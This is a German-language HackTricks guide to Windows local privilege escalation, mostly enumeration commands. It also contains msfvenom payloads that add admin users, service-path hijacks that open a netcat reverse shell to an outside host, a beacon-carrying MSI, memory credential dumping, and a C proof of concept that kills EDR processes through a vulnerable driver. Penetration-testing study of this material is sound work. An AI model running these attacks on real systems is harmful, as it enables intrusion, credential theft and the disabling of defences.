Windows Local Privilege Escalation

Reading time: 61 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Bestes Tool, um nach Windows local privilege escalation Vektoren zu suchen: WinPEAS

Einführung in die Windows-Theorie

Access Tokens

Wenn du nicht weißt, was Windows Access Tokens sind, lies vor dem Weiterlesen die folgende Seite:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Wenn du mehr über ACLs - DACLs/SACLs/ACEs wissen willst, lies die folgende Seite:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Wenn du nicht weißt, was Integrity Levels in Windows sind, solltest du vor dem Weiterlesen die folgende Seite lesen:

Integrity Levels

Windows-Sicherheitskontrollen

In Windows gibt es verschiedene Mechanismen, die dich daran hindern können, das System zu enumerieren, Executables auszuführen oder sogar deine Aktivitäten zu erkennen. Du solltest die folgende Seite lesen und alle diese Abwehrmechanismen auflisten, bevor du mit der privilege escalation-Enumeration beginnst:

Windows Security Controls

Systeminfo

Versionsinformationen ermitteln

Überprüfe, ob die Windows-Version bekannte Schwachstellen hat (prüfe auch die angewendeten Patches).

bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
bash
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version-Exploits

Diese site ist praktisch, um detaillierte Informationen über Microsoft-Sicherheitslücken zu recherchieren. Diese Datenbank enthält mehr als 4.700 Sicherheitslücken und zeigt die massive Angriffsfläche, die eine Windows-Umgebung bietet.

Auf dem System

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

Lokal mit Systeminformationen

Github-Repos mit Exploits:

Umgebung

Gibt es irgendwelche Credentials/Juicy-Informationen, die in den Umgebungsvariablen gespeichert sind?

bash
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell-Verlauf

bash
ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell-Transkriptdateien

Anleitung zum Aktivieren finden Sie unter https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Details von PowerShell-Pipeline-Ausführungen werden protokolliert – dazu gehören ausgeführte Befehle, Befehlaufrufe und Teile von Skripten. Allerdings werden möglicherweise nicht alle Ausführungsdetails und Ausgabeergebnisse erfasst.

Um dies zu aktivieren, folgen Sie den Anweisungen im Abschnitt "Transcript files" der Dokumentation und wählen "Module Logging" anstelle von "Powershell Transcription".

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Um die letzten 15 Events aus den PowersShell logs anzuzeigen, können Sie Folgendes ausführen:

bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Ein vollständiges Aktivitäts- und Inhaltsprotokoll der Ausführung des Skripts wird erfasst, sodass jeder Codeblock beim Ausführen dokumentiert wird. Dieser Prozess bewahrt eine umfassende Auditspur jeder Aktivität, wertvoll für forensics und die Analyse von bösartigem Verhalten. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Ablauf bereitgestellt.

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Protokollereignisse für den Script Block sind in der Windows-Ereignisanzeige unter dem Pfad zu finden: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden:

bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Interneteinstellungen

bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Laufwerke

bash
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Du kannst das System kompromittieren, wenn die Updates nicht über httpS, sondern über http angefordert werden.

Du beginnst damit zu prüfen, ob das Netzwerk ein nicht-SSL WSUS update verwendet, indem du im cmd Folgendes ausführst:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Oder das Folgende in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Wenn Sie eine Antwort wie eine der folgenden erhalten:

bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
bash
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

Und wenn HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer oder Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" gleich 1 ist.

Dann ist es ausnutzbar. Wenn der zuletzt genannte Registrierungseintrag gleich 0 ist, wird der WSUS-Eintrag ignoriert.

Um diese Schwachstelle auszunutzen, können Sie Tools wie verwenden: Wsuxploit, pyWSUS — das sind MiTM weaponized exploits scripts, um 'fake' Updates in non-SSL WSUS-Verkehr zu injizieren.

Lesen Sie die Forschung hier:

WSUS CVE-2020-1013

Lesen Sie den vollständigen Bericht hier.
Im Wesentlichen ist dies die Schwachstelle, die dieser Bug ausnutzt:

Wenn wir die Möglichkeit haben, unseren lokalen Benutzerproxy zu ändern, und Windows Updates den in den Internet Explorer-Einstellungen konfigurierten Proxy verwendet, haben wir damit die Möglichkeit, PyWSUS lokal auszuführen, unseren eigenen Traffic abzufangen und Code als erhöhter Benutzer auf unserem Asset auszuführen.

Außerdem, da der WSUS-Dienst die Einstellungen des aktuellen Benutzers verwendet, benutzt er auch dessen Zertifikatsspeicher. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostnamen erzeugen und dieses Zertifikat in den Zertifikatsspeicher des aktuellen Benutzers hinzufügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Verkehr abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen, um eine trust-on-first-use-artige Validierung des Zertifikats zu implementieren. Wenn das präsentierte Zertifikat vom Benutzer vertraut wird und den korrekten Hostnamen hat, wird es vom Dienst akzeptiert.

Sie können diese Schwachstelle mit dem Tool WSUSpicious ausnutzen (sobald es freigegeben ist).

Drittanbieter Auto-Updater und Agent-IPC (local privesc)

Viele Enterprise-Agenten öffnen eine localhost IPC-Oberfläche und einen privilegierten Update-Kanal. Wenn die Enrollment auf einen Angreifer-Server umgeleitet werden kann und der Updater einer rogue root CA oder schwachen Signaturprüfungen vertraut, kann ein lokaler Benutzer ein bösartiges MSI bereitstellen, das vom SYSTEM-Dienst installiert wird. Siehe hier eine verallgemeinerte Technik (basierend auf der Netskope stAgentSvc-Kette – CVE-2025-0309):

Abusing Auto Updaters And Ipc

KrbRelayUp

Eine local privilege escalation-Schwachstelle existiert in Windows domain-Umgebungen unter bestimmten Bedingungen. Diese Bedingungen umfassen Umgebungen, in denen LDAP signing is not enforced, Benutzer über Rechte verfügen, Resource-Based Constrained Delegation (RBCD) zu konfigurieren, und die Möglichkeit besteht, dass Benutzer Computer innerhalb der Domain erstellen können. Es ist wichtig zu beachten, dass diese Anforderungen mit Standardkonfigurationen erfüllt sind.

Finden Sie den Exploit unter https://github.com/Dec0ne/KrbRelayUp

Für weitere Informationen zum Ablauf des Angriffs siehe https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Wenn diese 2 Registry-Einträge aktiviert sind (Wert ist 0x1), dann können Benutzer beliebiger Berechtigungsstufen *.msi-Dateien als NT AUTHORITY\SYSTEM installieren (ausführen).

bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

bash
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Wenn Sie eine meterpreter-Sitzung haben, können Sie diese Technik mit dem Modul exploit/windows/local/always_install_elevated automatisieren.

PowerUP

Verwenden Sie den Befehl Write-UserAddMSI von power-up, um im aktuellen Verzeichnis eine Windows MSI-Binärdatei für privilege escalation zu erstellen. Dieses Skript schreibt einen vorkompilierten MSI-Installer, der zur Hinzufügung eines Benutzers/einer Gruppe auffordert (daher benötigen Sie GIU access):

Write-UserAddMSI

Führe einfach die erstellte Binary aus, um Privilegien zu eskalieren.

MSI-Wrapper

Lies dieses Tutorial, um zu lernen, wie man einen MSI-Wrapper mit diesen Tools erstellt. Beachte, dass du eine ".bat"-Datei einpacken kannst, wenn du nur Kommandozeilen ausführen willst.

MSI Wrapper

MSI mit WIX erstellen

Create MSI with WIX

MSI mit Visual Studio erstellen

  • Erzeuge mit Cobalt Strike oder Metasploit ein neues Windows EXE TCP payload in C:\privesc\beacon.exe
  • Öffne Visual Studio, wähle Create a new project und gib "installer" in das Suchfeld ein. Wähle das Setup Wizard-Projekt und klicke auf Next.
  • Gib dem Projekt einen Namen, z. B. AlwaysPrivesc, verwende C:\privesc als Speicherort, wähle place solution and project in the same directory, und klicke auf Create.
  • Klicke weiterhin auf Next, bis du zu Schritt 3 von 4 gelangst (choose files to include). Klicke auf Add und wähle die Beacon-Payload, die du gerade erzeugt hast. Dann klicke auf Finish.
  • Markiere das AlwaysPrivesc-Projekt im Solution Explorer und ändere in den Properties TargetPlatform von x86 auf x64.
  • Es gibt weitere Properties, die du ändern kannst, wie Author und Manufacturer, die die installierte App legitimer erscheinen lassen können.
  • Rechtsklicke das Projekt und wähle View > Custom Actions.
  • Rechtsklicke Install und wähle Add Custom Action.
  • Doppelklicke auf Application Folder, wähle deine beacon.exe-Datei und klicke OK. Dadurch wird sichergestellt, dass die Beacon-Payload sofort beim Ausführen des Installers ausgeführt wird.
  • Unter den Custom Action Properties ändere Run64Bit auf True.
  • Baue das Projekt schließlich.
  • Wenn die Warnung File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' angezeigt wird, stelle sicher, dass du die Plattform auf x64 gesetzt hast.

MSI-Installation

Um die Installation der bösartigen .msi-Datei im Hintergrund auszuführen:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Um diese Schwachstelle auszunutzen, können Sie verwenden: exploit/windows/local/always_install_elevated

Antivirus und Detektoren

Audit-Einstellungen

Diese Einstellungen legen fest, was protokolliert wird, daher sollten Sie darauf achten

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding ist interessant, um zu wissen, wohin die Logs gesendet werden.

bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS wurde für die Verwaltung lokaler Administrator-Passwörter entwickelt und stellt sicher, dass jedes Passwort auf Computern, die einer Domäne angehören, einzigartig, zufällig und regelmäßig aktualisiert wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen über ACLs ausreichende Berechtigungen zum Anzeigen lokaler Administrator-Passwörter gewährt wurden.

LAPS

WDigest

Wenn aktiviert, werden Klartext-Passwörter in LSASS gespeichert (Local Security Authority Subsystem Service).
Mehr Informationen zu WDigest auf dieser Seite.

bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Ab Windows 8.1 führte Microsoft einen verbesserten Schutz für die Local Security Authority (LSA) ein, um Versuche von nicht vertrauenswürdigen Prozessen zu blockieren, deren Speicher auszulesen oder Code zu injizieren und so das System weiter abzusichern.
More info about LSA Protection here.

bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard wurde in Windows 10 eingeführt. Sein Zweck ist es, die auf einem Gerät gespeicherten credentials vor Bedrohungen wie pass-the-hash attacks zu schützen.| More info about Credentials Guard here.

bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials werden von der Local Security Authority (LSA) authentifiziert und von Betriebssystemkomponenten verwendet. Wenn die Logon-Daten eines Benutzers von einem registrierten security package authentifiziert werden, werden in der Regel domain credentials für diesen Benutzer angelegt.
More info about Cached Credentials here

bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Benutzer & Gruppen

Benutzer & Gruppen auflisten

Du solltest prüfen, ob eine der Gruppen, denen du angehörst, interessante Berechtigungen hat.

bash
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privilegierte Gruppen

Wenn Sie zu einer privilegierten Gruppe gehören, können Sie möglicherweise Privilegien eskalieren. Erfahren Sie hier mehr über privilegierte Gruppen und wie man sie missbraucht, um Privilegien zu eskalieren:

Privileged Groups

Token-Manipulation

Erfahren Sie mehr darüber, was ein token ist auf dieser Seite: Windows Tokens.
Sehen Sie sich die folgende Seite an, um mehr über interessante tokens zu erfahren und wie man sie missbraucht:

Abusing Tokens

Angemeldete Benutzer / Sitzungen

bash
qwinsta
klist sessions

Home-Ordner

bash
dir C:\Users
Get-ChildItem C:\Users

Passwort-Richtlinie

bash
net accounts

Inhalt der Zwischenablage abrufen

bash
powershell -command "Get-Clipboard"

Laufende Prozesse

Datei- und Ordnerberechtigungen

Zuerst, beim Auflisten der Prozesse prüfe auf Passwörter in der Kommandozeile des Prozesses.
Überprüfe, ob du eine laufende Binärdatei überschreiben kannst oder Schreibrechte für den Ordner der Binärdateien hast, um mögliche DLL Hijacking attacks auszunutzen:

bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Prüfe immer, ob mögliche electron/cef/chromium debuggers laufen — du könntest sie ausnutzen, um Privilegien zu eskalieren.

Überprüfen der Berechtigungen der Binärdateien der Prozesse

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Überprüfen der Berechtigungen der Ordner der Prozess-Binaries (DLL Hijacking)

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Du kannst einen memory dump eines laufenden Prozesses mit procdump von sysinternals erstellen. Dienste wie FTP enthalten die credentials in clear text in memory — versuche, den Speicher zu dumpen und die credentials auszulesen.

bash
procdump.exe -accepteula -ma <proc_name_tasklist>

Unsichere GUI-Apps

Anwendungen, die als SYSTEM ausgeführt werden, können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.

Beispiel: "Windows Help and Support" (Windows + F1), nach "command prompt" suchen, auf "Click to open Command Prompt" klicken

Dienste

Liste der Dienste abrufen:

bash
net start
wmic service list brief
sc query
Get-Service

Berechtigungen

Du kannst sc verwenden, um Informationen über einen Dienst zu erhalten.

bash
sc qc <service_name>

Es wird empfohlen, die Binärdatei accesschk von Sysinternals zu besitzen, um das erforderliche Privilegienlevel für jeden Dienst zu prüfen.

bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Es wird empfohlen zu prüfen, ob "Authenticated Users" beliebige Dienste ändern können:

bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Dienst aktivieren

Wenn Sie diesen Fehler erhalten (zum Beispiel bei SSDPSRV):

Systemfehler 1058 ist aufgetreten.
Der Dienst kann nicht gestartet werden, entweder weil er deaktiviert ist oder weil ihm keine aktivierten Geräte zugeordnet sind.

Sie können ihn folgendermaßen aktivieren

bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Beachte, dass der Dienst upnphost von SSDPSRV abhängig ist, damit er funktioniert (für XP SP1)

Ein weiterer Workaround für dieses Problem ist das Ausführen von:

sc.exe config usosvc start= auto

Dienst-Binärpfad ändern

Falls die Gruppe "Authenticated users" für einen Dienst SERVICE_ALL_ACCESS besitzt, ist es möglich, die ausführbare Binärdatei des Dienstes zu verändern. Um sc zu ändern und auszuführen:

bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Dienst neu starten

bash
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privilegien können durch verschiedene Berechtigungen eskaliert werden:

  • SERVICE_CHANGE_CONFIG: Ermöglicht die Neukonfiguration der vom Dienst ausgeführten Binärdatei.
  • WRITE_DAC: Ermöglicht die Änderung von Berechtigungen, was wiederum das Ändern von Service-Konfigurationen erlaubt.
  • WRITE_OWNER: Ermöglicht das Übernehmen des Besitzes und das Ändern von Berechtigungen.
  • GENERIC_WRITE: Verleiht ebenfalls die Möglichkeit, Service-Konfigurationen zu ändern.
  • GENERIC_ALL: Gewährt ebenfalls die Möglichkeit, Service-Konfigurationen zu ändern.

Zur Erkennung und Ausnutzung dieser Verwundbarkeit kann exploit/windows/local/service_permissions verwendet werden.

Schwache Berechtigungen bei Service-Binärdateien

Prüfe, ob du die vom Dienst ausgeführte Binärdatei ändern kannst oder ob du Schreibrechte auf den Ordner hast, in dem die Binärdatei liegt (DLL Hijacking).
Du kannst jede Binärdatei, die von einem Dienst ausgeführt wird, mit wmic (nicht in system32) ermitteln und deine Berechtigungen mit icacls prüfen:

bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Sie können auch sc und icacls verwenden:

bash
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Berechtigungen zum Ändern von Service-Registries

Du solltest prüfen, ob du irgendeine Service-Registry ändern kannst.
Du kannst deine Berechtigungen für eine Service-Registry wie folgt prüfen:

bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Es sollte überprüft werden, ob Authenticated Users oder NT AUTHORITY\INTERACTIVE FullControl-Berechtigungen besitzen. Wenn ja, kann die vom Dienst ausgeführte Binary verändert werden.

Um den Path der ausgeführten Binary zu ändern:

bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services Registry AppendData/AddSubdirectory Berechtigungen

Wenn Sie diese Berechtigung für eine Registry haben, bedeutet das, dass Sie daraus Unterschlüssel erstellen können. Im Fall von Windows-Diensten ist das ausreichend, um beliebigen Code auszuführen:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, versucht Windows, jedes Segment vor einem Leerzeichen auszuführen.

Zum Beispiel wird Windows für den Pfad C:\Program Files\Some Folder\Service.exe versuchen, auszuführen:

bash
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Alle ungequoteten Dienstpfade auflisten, ausgenommen diejenigen, die zu integrierten Windows-Diensten gehören:

bash
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
bash
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
bash
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Sie können erkennen und ausnutzen diese Schwachstelle mit metasploit: exploit/windows/local/trusted\_service\_path Sie können manuell eine service binary mit metasploit erstellen:

bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Wiederherstellungsaktionen

Windows erlaubt Benutzern, Aktionen festzulegen, die ausgeführt werden, wenn ein Dienst ausfällt. Diese Funktion kann so konfiguriert werden, dass sie auf ein binary verweist. Wenn dieses binary ersetzbar ist, könnte Privilege Escalation möglich sein. Weitere Details finden sich in der offiziellen Dokumentation.

Anwendungen

Installierte Anwendungen

Überprüfe die permissions der binaries (vielleicht kannst du eines überschreiben und Privilege Escalation durchführen) und die Ordner (DLL Hijacking).

bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Schreibberechtigungen

Prüfe, ob du eine config file so ändern kannst, dass du eine bestimmte Datei lesen kannst, oder ob du ein binary ändern kannst, das von einem Administrator account ausgeführt wird (schedtasks).

Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, ist:

bash
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
bash
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
bash
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Beim Systemstart

Prüfe, ob du bestimmte Registry-Einträge oder Binärdateien überschreiben kannst, die von einem anderen Benutzer ausgeführt werden.
Lies die folgende Seite, um mehr über interessante autoruns locations to escalate privileges zu erfahren:

Privilege Escalation with Autoruns

Treiber

Suche nach möglichen Drittanbieter-, merkwürdigen oder anfälligen Treibern

bash
driverquery
driverquery.exe /fo table
driverquery /SI

Wenn ein Treiber ein beliebiges Kernel-Lese-/Schreib-Primitiv offenlegt (häufig in schlecht entworfenen IOCTL-Handlern), können Sie eskalieren, indem Sie ein SYSTEM-Token direkt aus dem Kernel-Speicher stehlen. Siehe die Schritt‑für‑Schritt-Technik hier:

Arbitrary Kernel Rw Token Theft

Ausnutzen fehlender FILE_DEVICE_SECURE_OPEN auf Device-Objekten (LPE + EDR kill)

Einige signierte Drittanbieter-Treiber erstellen ihr Device-Objekt mit einer starken SDDL via IoCreateDeviceSecure, vergessen aber, FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics zu setzen. Ohne dieses Flag wird die sichere DACL nicht durchgesetzt, wenn das Device über einen Pfad geöffnet wird, der eine zusätzliche Komponente enthält, wodurch jeder unprivilegierte Benutzer einen Handle erhalten kann, indem er einen Namespace-Pfad wie:

  • \.\DeviceName\anything
  • \.\amsdk\anyfile (from a real-world case)

verwendet. Sobald ein Benutzer das Device öffnen kann, können durch den Treiber exponierte privilegierte IOCTLs für LPE und Manipulation missbraucht werden. Beispielhafte Fähigkeiten, die in der Praxis beobachtet wurden:

  • Zurückgeben von Vollzugriffs-Handles für beliebige Prozesse (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Uneingeschränkter roher Festplatten-Lese-/Schreibzugriff (offline-Manipulation, Tricks zur Persistenz beim Booten).
  • Beenden beliebiger Prozesse, einschließlich Protected Process/Light (PP/PPL), wodurch AV/EDR aus dem User-Modus über den Kernel terminiert werden können.

Minimales PoC-Muster (user mode):

c
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Gegenmaßnahmen für Entwickler

  • Setzen Sie immer FILE_DEVICE_SECURE_OPEN, wenn Sie Device-Objekte erstellen, die durch eine DACL eingeschränkt werden sollen.
  • Validieren Sie den Aufruferkontext für privilegierte Operationen. Fügen Sie PP/PPL-Prüfungen hinzu, bevor Sie Prozessbeendigungen oder das Zurückgeben von Handles zulassen.
